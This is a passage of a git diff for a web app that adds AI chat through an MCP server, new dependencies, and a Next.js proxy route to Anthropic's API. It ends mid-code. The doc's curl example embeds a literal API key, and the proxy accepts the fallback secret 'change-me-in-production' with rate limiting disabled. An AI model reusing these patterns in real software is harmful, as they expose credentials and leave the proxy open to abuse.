Server validates by comparing hash(incoming_key) with stored hash + +**Internal API Keys** (`internal_api_key` table): +- Auto-created when user first uses AI chat +- NEVER shown to user (server-only) +- Encrypted (not hashed) using `ENCRYPTION_KEY` +- Server decrypts to get plaintext for MCP authentication +- One key per (userId, purpose) pair + +**Security Model**: +- Internal keys stored encrypted with AES-256-GCM +- Only server can decrypt (needs `ENCRYPTION_KEY` from env) +- Keys never leave server environment (DB → Backend → SDK subprocess → MCP endpoint) +- Separate table prevents accidental exposure in API responses + +## Development vs Production + +### Development +```env +HEXFRAME_API_BASE_URL=http://localhost:3000 +ENCRYPTION_KEY=<64 hex chars - generate with: node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"> +``` + +### Production +```env +HEXFRAME_API_BASE_URL=https://hexframe.ai +ENCRYPTION_KEY=<64 hex chars - DIFFERENT from dev, securely stored> +``` + +## Why This Architecture? + +### ✅ Benefits + +1. **Per-User Isolation**: Each user has their own encrypted MCP key +2. **Zero Cross-User Risk**: User A cannot access User B's tiles +3. **Defense-in-Depth**: Keys encrypted at rest, only decrypted server-side +4. **Auto-Managed**: Users don't see/manage these keys (created automatically) +5. **Production Ready**: Works in serverless environments +6. **Debuggable**: HTTP requests are easy to inspect +7. **Secure by Default**: DB breach alone doesn't leak keys (needs ENCRYPTION_KEY too) + +### ❌ What Doesn't Work + +**Inline MCP Server (Previous Approach)**: +```typescript +// This doesn't work because subprocess has no auth context +const mcpServers = { + hexframe: createSdkMcpServer({ + tools: [/* tools that need database access */] + }) +} +``` + +The inline approach spawns tools in the SDK subprocess which: +- Has no database connection +- Has no session context +- Can't access authenticated APIs + +## Testing + +Test the MCP server directly: + +```bash +curl -X POST http://localhost:3000/api/mcp \ + -H "Content-Type: application/json" \ + -H "x-api-key: EqkuRencRFtJGaOQhgvjhpwKSKaiYgmAyERzZcZHzJPuDAmAtjkyKBlZAJDDhTWa" \ + -d '{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/list" + }' +``` + +Expected response: +```json +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "tools": [ + { + "name": "addItem", + "description": "...", + "inputSchema": { ... } + }, + ... + ] + } +} +``` + +## Troubleshooting + +### "Authentication failed" Error + +**Cause**: Invalid or missing internal API key + +**Solution**: +1. Check `ENCRYPTION_KEY` is set in `.env` (64 hex chars) +2. Verify user has an internal API key in `internal_api_key` table +3. Check MCP server logs for validation/decryption errors +4. Try rotating the key: call `rotateInternalApiKey(userId, 'mcp')` + +### "Permission denied" Error + +**Cause**: API key doesn't have access to the resource + +**Solution**: +1. Check API key belongs to correct user +2. Verify user owns the tiles being accessed +3. Check IAM permissions + +### Tools Not Available to Claude + +**Cause**: MCP server not connecting or tools not passed + +**Solution**: +1. Check `tools` parameter is passed to `generate()` +2. Verify `userId` is passed to ClaudeAgentSDKRepository constructor +3. Check `ENCRYPTION_KEY` is set in `.env` +4. Check server logs for MCP connection errors or key generation failures +5. Test MCP endpoint directly with curl (use internal API key from DB) + +## Related Files + +- `src/app/api/mcp/route.ts` - HTTP MCP server endpoint +- `src/app/services/mcp/handlers/tools.ts` - Tool definitions +- `src/app/services/mcp/services/map-items.ts` - Tool handlers +- `src/lib/utils/request-context.ts` - Request context management +- `src/lib/domains/agentic/repositories/claude-agent-sdk.repository.ts` - SDK config +- `src/lib/domains/iam/services/internal-api-key.service.ts` - Internal key management +- `src/lib/domains/iam/infrastructure/encryption.ts` - AES-256-GCM encryption +- `src/server/db/schema/_tables/auth/internal-api-keys.ts` - Database schema diff --git a/package.json b/package.json index e14b811aa..62ffd9a28 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "db:setup": "drizzle-kit push --config=./config/drizzle.config.ts", "db:create-placeholder-user": "dotenv -e .env -e .env.local -- tsx scripts/create-placeholder-user.ts", "db:delete": "tsx scripts/delete-database.ts", - "dev": "next dev", + "dev": "next dev -H 0.0.0.0", "format:check": "prettier --config ./config/prettier.config.js --check \"**/*.{ts,tsx,js,jsx,mdx}\" --cache", "format:write": "prettier --config ./config/prettier.config.js --write \"**/*.{ts,tsx,js,jsx,mdx}\" --cache", "init-db": "tsx scripts/init-db.ts", @@ -51,6 +51,7 @@ "mcp:dev": "tsx src/app/services/mcp/server.ts" }, "dependencies": { + "@anthropic-ai/claude-agent-sdk": "^0.1.30", "@heroicons/react": "^2.2.0", "@hookform/resolvers": "^5.1.1", "@mistralai/mistralai": "^1.5.2", @@ -69,6 +70,7 @@ "@trpc/server": "^11.0.0-rc.446", "@types/bcryptjs": "^3.0.0", "@vercel/analytics": "^1.5.0", + "@vercel/sandbox": "^1.0.2", "bcryptjs": "^3.0.2", "better-auth": "^1.3.9", "class-variance-authority": "^0.7.1", @@ -80,6 +82,7 @@ "inngest": "^3.43.1", "isomorphic-dompurify": "^2.27.0", "lucide-react": "^0.525.0", + "ms": "^2.1.3", "nanoid": "^5.1.5", "next": "^15.4.7", "postgres": "^3.4.4", @@ -106,6 +109,7 @@ "@testing-library/user-event": "^14.6.1", "@types/eslint": "^9.6.1", "@types/jest": "^29.5.14", + "@types/ms": "^2.1.0", "@types/node": "^24.0.13", "@types/react": "^18.3.3", "@types/react-dom": "^18.3.0", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index b39a7fe5d..5d60038a0 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -5,6 +5,9 @@ settings: excludeLinksFromLockfile: false dependencies: + '@anthropic-ai/claude-agent-sdk': + specifier: ^0.1.30 + version: 0.1.30(zod@3.25.67) '@heroicons/react': specifier: ^2.2.0 version: 2.2.0(react@18.3.1) @@ -59,6 +62,9 @@ dependencies: '@vercel/analytics': specifier: ^1.5.0 version: 1.5.0(next@15.5.3)(react@18.3.1) + '@vercel/sandbox': + specifier: ^1.0.2 + version: 1.0.2 bcryptjs: specifier: ^3.0.2 version: 3.0.2 @@ -92,6 +98,9 @@ dependencies: lucide-react: specifier: ^0.525.0 version: 0.525.0(react@18.3.1) + ms: + specifier: ^2.1.3 + version: 2.1.3 nanoid: specifier: ^5.1.5 version: 5.1.5 @@ -166,6 +175,9 @@ devDependencies: '@types/jest': specifier: ^29.5.14 version: 29.5.14 + '@types/ms': + specifier: ^2.1.0 + version: 2.1.0 '@types/node': specifier: ^24.0.13 version: 24.0.13 @@ -277,6 +289,22 @@ packages: '@jridgewell/gen-mapping': 0.3.8 '@jridgewell/trace-mapping': 0.3.25 + /@anthropic-ai/claude-agent-sdk@0.1.30(zod@3.25.67): + resolution: {integrity: sha512-lo1tqxCr2vygagFp6kUMHKSN6AAWlULCskwGKtLB/JcIXy/8H8GsLSKX54anTsvc9mBbCR8wWASdFmiiL9NSKA==} + engines: {node: '>=18.0.0'} + peerDependencies: + zod: ^3.24.1 + dependencies: + zod: 3.25.67 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.33.5 + '@img/sharp-darwin-x64': 0.33.5 + '@img/sharp-linux-arm': 0.33.5 + '@img/sharp-linux-arm64': 0.33.5 + '@img/sharp-linux-x64': 0.33.5 + '@img/sharp-win32-x64': 0.33.5 + dev: false + /@asamuzakjp/css-color@2.8.3: resolution: {integrity: sha512-GIc76d9UI1hCvOATjZPyHFmE5qhRccp3/zGfMPapK3jBi+yocEzp6BBB0UnfRYP9NP4FANqUZYb0hnfs3TM3hw==} dependencies: @@ -1679,6 +1707,17 @@ packages: dev: false optional: true + /@img/sharp-darwin-arm64@0.33.5: + resolution: {integrity: sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + requiresBuild: true + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.0.4 + dev: false + optional: true + /@img/sharp-darwin-arm64@0.34.4: resolution: {integrity: sha512-sitdlPzDVyvmINUdJle3TNHl+AG9QcwiAMsXmccqsCOMZNIdW2/7S26w0LyU8euiLVzFBL3dXPwVCq/ODnf2vA==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -1690,6 +1729,17 @@ packages: dev: false optional: true + /@img/sharp-darwin-x64@0.33.5: + resolution: {integrity: sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + requiresBuild: true + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.0.4 + dev: false + optional: true + /@img/sharp-darwin-x64@0.34.4: resolution: {integrity: sha512-rZheupWIoa3+SOdF/IcUe1ah4ZDpKBGWcsPX6MT0lYniH9micvIU7HQkYTfrx5Xi8u+YqwLtxC/3vl8TQN6rMg==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -1701,6 +1751,14 @@ packages: dev: false optional: true + /@img/sharp-libvips-darwin-arm64@1.0.4: + resolution: {integrity: sha512-XblONe153h0O2zuFfTAbQYAX2JhYmDHeWikp1LM9Hul9gVPjFY427k6dFEcOL72O01QxQsWi761svJ/ev9xEDg==} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + /@img/sharp-libvips-darwin-arm64@1.2.3: resolution: {integrity: sha512-QzWAKo7kpHxbuHqUC28DZ9pIKpSi2ts2OJnoIGI26+HMgq92ZZ4vk8iJd4XsxN+tYfNJxzH6W62X5eTcsBymHw==} cpu: [arm64] @@ -1709,6 +1767,14 @@ packages: dev: false optional: true + /@img/sharp-libvips-darwin-x64@1.0.4: + resolution: {integrity: sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + /@img/sharp-libvips-darwin-x64@1.2.3: resolution: {integrity: sha512-Ju+g2xn1E2AKO6YBhxjj+ACcsPQRHT0bhpglxcEf+3uyPY+/gL8veniKoo96335ZaPo03bdDXMv0t+BBFAbmRA==} cpu: [x64] @@ -1717,6 +1783,14 @@ packages: dev: false optional: true + /@img/sharp-libvips-linux-arm64@1.0.4: + resolution: {integrity: sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + /@img/sharp-libvips-linux-arm64@1.2.3: resolution: {integrity: sha512-I4RxkXU90cpufazhGPyVujYwfIm9Nk1QDEmiIsaPwdnm013F7RIceaCc87kAH+oUB1ezqEvC6ga4m7MSlqsJvQ==} cpu: [arm64] @@ -1725,6 +1799,14 @@ packages: dev: false optional: true + /@img/sharp-libvips-linux-arm@1.0.5: + resolution: {integrity: sha512-gvcC4ACAOPRNATg/ov8/MnbxFDJqf/pDePbBnuBDcjsI8PssmjoKMAz4LtLaVi+OnSb5FK/yIOamqDwGmXW32g==} + cpu: [arm] + os: [linux] + requiresBuild: true + dev: false + optional: true + /@img/sharp-libvips-linux-arm@1.2.3: resolution: {integrity: sha512-x1uE93lyP6wEwGvgAIV0gP6zmaL/a0tGzJs/BIDDG0zeBhMnuUPm7ptxGhUbcGs4okDJrk4nxgrmxpib9g6HpA==} cpu: [arm] @@ -1749,6 +1831,14 @@ packages: dev: false optional: true + /@img/sharp-libvips-linux-x64@1.0.4: + resolution: {integrity: sha512-MmWmQ3iPFZr0Iev+BAgVMb3ZyC4KeFc3jFxnNbEPas60e1cIfevbtuyf9nDGIzOaW9PdnDciJm+wFFaTlj5xYw==} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + /@img/sharp-libvips-linux-x64@1.2.3: resolution: {integrity: sha512-3JU7LmR85K6bBiRzSUc/Ff9JBVIFVvq6bomKE0e63UXGeRw2HPVEjoJke1Yx+iU4rL7/7kUjES4dZ/81Qjhyxg==} cpu: [x64] @@ -1773,6 +1863,17 @@ packages: dev: false optional: true + /@img/sharp-linux-arm64@0.33.5: + resolution: {integrity: sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + requiresBuild: true + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.0.4 + dev: false + optional: true + /@img/sharp-linux-arm64@0.34.4: resolution: {integrity: sha512-YXU1F/mN/Wu786tl72CyJjP/Ngl8mGHN1hST4BGl+hiW5jhCnV2uRVTNOcaYPs73NeT/H8Upm3y9582JVuZHrQ==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -1784,6 +1885,17 @@ packages: dev: false optional: true + /@img/sharp-linux-arm@0.33.5: + resolution: {integrity: sha512-JTS1eldqZbJxjvKaAkxhZmBqPRGmxgu+qFKSInv8moZ2AmT5Yib3EQ1c6gp493HvrvV8QgdOXdyaIBrhvFhBMQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + requiresBuild: true + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.0.5 + dev: false + optional: true + /@img/sharp-linux-arm@0.34.4: resolution: {integrity: sha512-Xyam4mlqM0KkTHYVSuc6wXRmM7LGN0P12li03jAnZ3EJWZqj83+hi8Y9UxZUbxsgsK1qOEwg7O0Bc0LjqQVtxA==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -1817,6 +1929,17 @@ packages: dev: false optional: true + /@img/sharp-linux-x64@0.33.5: + resolution: {integrity: sha512-opC+Ok5pRNAzuvq1AG0ar+1owsu842/Ab+4qvU879ippJBHvyY5n2mxF1izXqkPYlGuP/M556uh53jRLJmzTWA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + requiresBuild: true + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.0.4 + dev: false + optional: true + /@img/sharp-linux-x64@0.34.4: resolution: {integrity: sha512-ZfGtcp2xS51iG79c6Vhw9CWqQC8l2Ot8dygxoDoIQPTat/Ov3qAa8qpxSrtAEAJW+UjTXc4yxCjNfxm4h6Xm2A==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -1878,6 +2001,15 @@ packages: dev: false optional: true + /@img/sharp-win32-x64@0.33.5: + resolution: {integrity: sha512-MpY/o8/8kj+EcnxwvrP4aTJSWw/aZ7JIGR4aBeZkZw5B7/Jn+tY9/VNwtcoGmdT7GfggGIU4kygOMSbYnOrAbg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + /@img/sharp-win32-x64@0.34.4: resolution: {integrity: sha512-xIyj4wpYs8J18sVN3mSQjwrw7fKUqRw+Z5rnHNCy5fYTxigBz81u5mOMPmFumwjcn8+ld1ppptMBCLic1nz6ig==} engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} @@ -4924,7 +5056,6 @@ packages: /@types/ms@2.1.0: resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} - dev: false /@types/mysql@2.15.26: resolution: {integrity: sha512-DSLCOXhkvfS5WNNPbfn2KdICAmk8lLc+/PNvnPnF7gOdMZCxopXduqv0OQ13y/yA/zXTSikZZqVgybUxOEg6YQ==} @@ -5341,6 +5472,29 @@ packages: react: 18.3.1 dev: false + /@vercel/oidc@2.0.2: + resolution: {integrity: sha512-59PBFx3T+k5hLTEWa3ggiMpGRz1OVvl9eN8SUai+A43IsqiOuAe7qPBf+cray/Fj6mkgnxm/D7IAtjc8zSHi7g==} + engines: {node: '>= 18'} + dependencies: + '@types/ms': 2.1.0 + ms: 2.1.3 + dev: false + + /@vercel/sandbox@1.0.2: + resolution: {integrity: sha512-EoZhkUag3YVSuXCfpO4SZFDwghiGCeVklUVyWFpt0dsjjXWr5C2MXvtqFeH2KbRp/58I1k5JxeSxNuUX5FWZbQ==} + dependencies: + '@vercel/oidc': 2.0.2 + async-retry: 1.3.3 + jsonlines: 0.1.1 + ms: 2.1.3 + tar-stream: 3.1.7 + undici: 7.16.0 + zod: 3.24.4 + transitivePeerDependencies: + - bare-abort-controller + - react-native-b4a + dev: false + /@vitejs/plugin-react@4.3.4(vite@6.3.5): resolution: {integrity: sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug==} engines: {node: ^14.18.0 || >=16.0.0} @@ -5737,6 +5891,12 @@ packages: engines: {node: '>= 0.4'} dev: true + /async-retry@1.3.3: + resolution: {integrity: sha512-wfr/jstw9xNi/0teMHrRW7dsz3Lt5ARhYNZ2ewpadnhaIp5mbALhOAP+EAdsC7t4Z6wqsDVv9+W6gm1Dk9mEyw==} + dependencies: + retry: 0.13.1 + dev: false + /available-typed-arrays@1.0.7: resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} engines: {node: '>= 0.4'} @@ -5754,6 +5914,15 @@ packages: engines: {node: '>= 0.4'} dev: true + /b4a@1.7.3: + resolution: {integrity: sha512-5Q2mfq2WfGuFp3uS//0s6baOJLMoVduPYVeNmDYxu5OUA1/cBfvr2RIS7vi62LdNj/urk1hfmj867I3qt6uZ7Q==} + peerDependencies: + react-native-b4a: '*' + peerDependenciesMeta: + react-native-b4a: + optional: true + dev: false + /babel-jest@29.7.0(@babel/core@7.26.9): resolution: {integrity: sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==} engines: {node: ^14.15.0 || ^16.10.0 || >=18.0.0} @@ -5836,6 +6005,15 @@ packages: /balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + /bare-events@2.8.1: + resolution: {integrity: sha512-oxSAxTS1hRfnyit2CL5QpAOS5ixfBjj6ex3yTNvXyY/kE719jQ/IjuESJBK2w5v4wwQRAHGseVJXx9QBYOtFGQ==} + peerDependencies: + bare-abort-controller: '*' + peerDependenciesMeta: + bare-abort-controller: + optional: true + dev: false + /bcryptjs@3.0.2: resolution: {integrity: sha512-k38b3XOZKv60C4E2hVsXTolJWfkGRMbILBIe2IBITXciy5bOsTKot5kDrf3ZfufQtQOUN5mXceUEpU1rTl9Uog==} hasBin: true @@ -7435,6 +7613,14 @@ packages: engines: {node: '>= 0.6'} dev: false + /events-universal@1.0.1: + resolution: {integrity: sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==} + dependencies: + bare-events: 2.8.1 + transitivePeerDependencies: + - bare-abort-controller + dev: false + /eventsource-parser@3.0.6: resolution: {integrity: sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg==} engines: {node: '>=18.0.0'} @@ -7534,6 +7720,10 @@ packages: /fast-deep-equal@3.1.3: resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + /fast-fifo@1.3.2: + resolution: {integrity: sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==} + dev: false + /fast-glob@3.3.1: resolution: {integrity: sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==} engines: {node: '>=8.6.0'} @@ -9130,6 +9320,10 @@ packages: engines: {node: '>=6'} hasBin: true + /jsonlines@0.1.1: + resolution: {integrity: sha512-ekDrAGso79Cvf+dtm+mL8OBI2bmAOt3gssYs833De/C9NmIpWDWyUO4zPgB5x2/OhY366dkhgfPMYfwZF7yOZA==} + dev: false + /jsx-ast-utils@3.3.5: resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} engines: {node: '>=4.0'} @@ -10936,6 +11130,11 @@ packages: supports-preserve-symlinks-flag: 1.0.0 dev: true + /retry@0.13.1: + resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==} + engines: {node: '>= 4'} + dev: false + /reusify@1.1.0: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} @@ -11329,6 +11528,17 @@ packages: internal-slot: 1.1.0 dev: true + /streamx@2.23.0: + resolution: {integrity: sha512-kn+e44esVfn2Fa/O0CPFcex27fjIL6MkVae0Mm6q+E6f0hWv578YCERbv+4m02cjxvDsPKLnmxral/rR6lBMAg==} + dependencies: + events-universal: 1.0.1 + fast-fifo: 1.3.2 + text-decoder: 1.2.3 + transitivePeerDependencies: + - bare-abort-controller + - react-native-b4a + dev: false + /strict-event-emitter@0.5.1: resolution: {integrity: sha512-vMgjE/GGEPEFnhFub6pa4FmJBRBVOLpIII2hvCZ8Kzb7K0hlHo7mQv6xYrBvCL2LtAIBwFUK8wvuJgTVSQ5MFQ==} dev: true @@ -11634,6 +11844,17 @@ packages: engines: {node: '>=6'} dev: true + /tar-stream@3.1.7: + resolution: {integrity: sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==} + dependencies: + b4a: 1.7.3 + fast-fifo: 1.3.2 + streamx: 2.23.0 + transitivePeerDependencies: + - bare-abort-controller + - react-native-b4a + dev: false + /temporal-polyfill@0.2.5: resolution: {integrity: sha512-ye47xp8Cb0nDguAhrrDS1JT1SzwEV9e26sSsrWzVu+yPZ7LzceEcH0i2gci9jWfOfSCCgM3Qv5nOYShVUUFUXA==} dependencies: @@ -11662,6 +11883,14 @@ packages: minimatch: 9.0.5 dev: true + /text-decoder@1.2.3: + resolution: {integrity: sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==} + dependencies: + b4a: 1.7.3 + transitivePeerDependencies: + - react-native-b4a + dev: false + /thenify-all@1.6.0: resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==} engines: {node: '>=0.8'} @@ -11949,6 +12178,11 @@ packages: /undici-types@7.8.0: resolution: {integrity: sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw==} + /undici@7.16.0: + resolution: {integrity: sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g==} + engines: {node: '>=20.18.1'} + dev: false + /unified@11.0.5: resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==} dependencies: @@ -12573,6 +12807,10 @@ packages: zod: 3.25.67 dev: true + /zod@3.24.4: + resolution: {integrity: sha512-OdqJE9UDRPwWsrHjLN2F8bPxvwJBK22EHLWtanu0LSYr5YqzsaaW3RMgmjwr8Rypg5k+meEJdSPXJZXE/yqOMg==} + dev: false + /zod@3.25.67: resolution: {integrity: sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw==} diff --git a/src/.ruleof6-exceptions b/src/.ruleof6-exceptions index cf9449a6f..fdd241d22 100644 --- a/src/.ruleof6-exceptions +++ b/src/.ruleof6-exceptions @@ -11,6 +11,7 @@ app/map/Chat/_state/_events/event.validators.ts:15 # Event validation requires o commons/trpc/react.tsx:12 # tRPC client setup requires multiple React hooks and providers app/map/Chat/_state/_selectors/widget-selectors.ts:12 # Widget state management requires multiple selector functions for performance app/map/Chat/_state/_events/tile-event-transformers.ts:10 # Event transformation requires one transformer per event type +server/api/routers/map/_mcp-tools/_item-tools.ts:10 # MCP tool definition collection - one factory function per tool type for SDK integration # Chat subsystem - Parser false positives (counts callbacks and inline components as functions) app/map/Chat/Timeline/Widgets/TileWidget/_internals/_form-utils.ts:20 # Form utility helpers module - collection of related form processing functions diff --git a/src/app/api/anthropic-proxy/[...path]/route.ts b/src/app/api/anthropic-proxy/[...path]/route.ts new file mode 100644 index 000000000..26f779dcc --- /dev/null +++ b/src/app/api/anthropic-proxy/[...path]/route.ts @@ -0,0 +1,169 @@ +import type { NextRequest } from 'next/server' +import { NextResponse } from 'next/server' +import { env } from '~/env' +import { loggers } from '~/lib/debug/debug-logger' + +/** + * Secure proxy for Anthropic API calls from Vercel Sandbox + * + * This is a catch-all route that forwards requests to Anthropic's API + * while keeping the API key secure on the server side. + * + * The Anthropic SDK appends paths like /v1/messages to the base URL, + * so we need to capture and forward those paths correctly. + */ + +// Simple in-memory rate limiting (use Redis in production) +// Note: Rate limiting is currently disabled in development +const rateLimits = new Map() + +// eslint-disable-next-line @typescript-eslint/no-unused-vars +function checkRateLimit(userId: string): { allowed: boolean; reason?: string } { + // In development, allow unlimited requests + // Next.js sets NODE_ENV to 'development' when running `pnpm dev` + const isDev = process.env.NODE_ENV === 'development' || !process.env.NODE_ENV + + if (isDev) { + return { allowed: true } + } + + const now = Date.now() + const limit = rateLimits.get(userId) + + if (!limit || now > limit.resetAt) { + rateLimits.set(userId, { count: 1, resetAt: now + 3600000 }) // 1 hour window + return { allowed: true } + } + + const MAX_REQUESTS_PER_HOUR = 200 // Increased from 50 + if (limit.count >= MAX_REQUESTS_PER_HOUR) { + return { allowed: false, reason: 'Rate limit exceeded' } + } + + limit.count++ + return { allowed: true } +} + +export async function POST( + request: NextRequest, + { params }: { params: Promise<{ path: string[] }> } +) { + const { path } = await params + + try { + // Extract API key from header - SDK might send as x-api-key OR Authorization Bearer + const xApiKey = request.headers.get('x-api-key') + const authHeader = request.headers.get('authorization') + const bearerToken = authHeader?.startsWith('Bearer ') ? authHeader.substring(7) : null + + const clientApiKey = xApiKey ?? bearerToken + const expectedAuth = env.INTERNAL_PROXY_SECRET ?? 'change-me-in-production' + + // Validate client API key + if (!clientApiKey || clientApiKey !== expectedAuth) { + loggers.agentic.error('Anthropic proxy: Unauthorized request') + return NextResponse.json( + { error: 'Unauthorized: Invalid API key' }, + { status: 401 } + ) + } + + // Build the Anthropic API path from catch-all params + // path = ['v1', 'messages'] for /api/anthropic-proxy/v1/messages + const apiPath = path.join('/') + + // TODO: Extract userId from session or request context for rate limiting + const userId = 'authenticated-user' // Placeholder + + // Check rate limit (disabled for now - TODO: re-enable in production) + // const rateLimitCheck = checkRateLimit(userId) + // if (!rateLimitCheck.allowed) { + // console.log('[Proxy] Rate limit exceeded') + // return NextResponse.json( + // { error: rateLimitCheck.reason }, + // { status: 429 } + // ) + // } + + // Get request body (if any - GET requests don't have body) + let body: Record | null = null + if (request.method !== 'GET') { + body = (await request.json()) as Record + + // Security: Validate request + if (!body || typeof body !== 'object') { + return NextResponse.json( + { error: 'Invalid request body' }, + { status: 400 } + ) + } + } + + // Build the Anthropic API URL + const targetUrl = `https://api.anthropic.com/${apiPath}` + + // Include any query parameters (like beta=true) + const queryString = request.nextUrl.search.substring(1) // Remove leading '?' + const fullTargetUrl = queryString ? `${targetUrl}?${queryString}` : targetUrl + + // Get the REAL Anthropic API key directly from process.env + // Do NOT use env.ANTHROPIC_API_KEY as it might have been modified by the repository constructor + // Read directly from the environment at request time + const apiKeyToUse = process.env.ANTHROPIC_API_KEY_ORIGINAL ?? process.env.ANTHROPIC_API_KEY ?? env.ANTHROPIC_API_KEY ?? '' + + // Forward to Anthropic API + // CRITICAL: Add special header so interceptor knows to skip this request + const anthropicResponse = await fetch(fullTargetUrl, { + method: request.method, + headers: { + 'Content-Type': 'application/json', + 'x-api-key': apiKeyToUse, + 'anthropic-version': '2023-06-01', + 'anthropic-beta': request.headers.get('anthropic-beta') ?? '', + 'x-bypass-interceptor': 'true' // Flag to tell interceptor to ignore this + }, + ...(body ? { body: JSON.stringify(body) } : {}) + }) + + // Handle streaming responses + if (body?.stream === true) { + return new NextResponse(anthropicResponse.body, { + status: anthropicResponse.status, + headers: { + 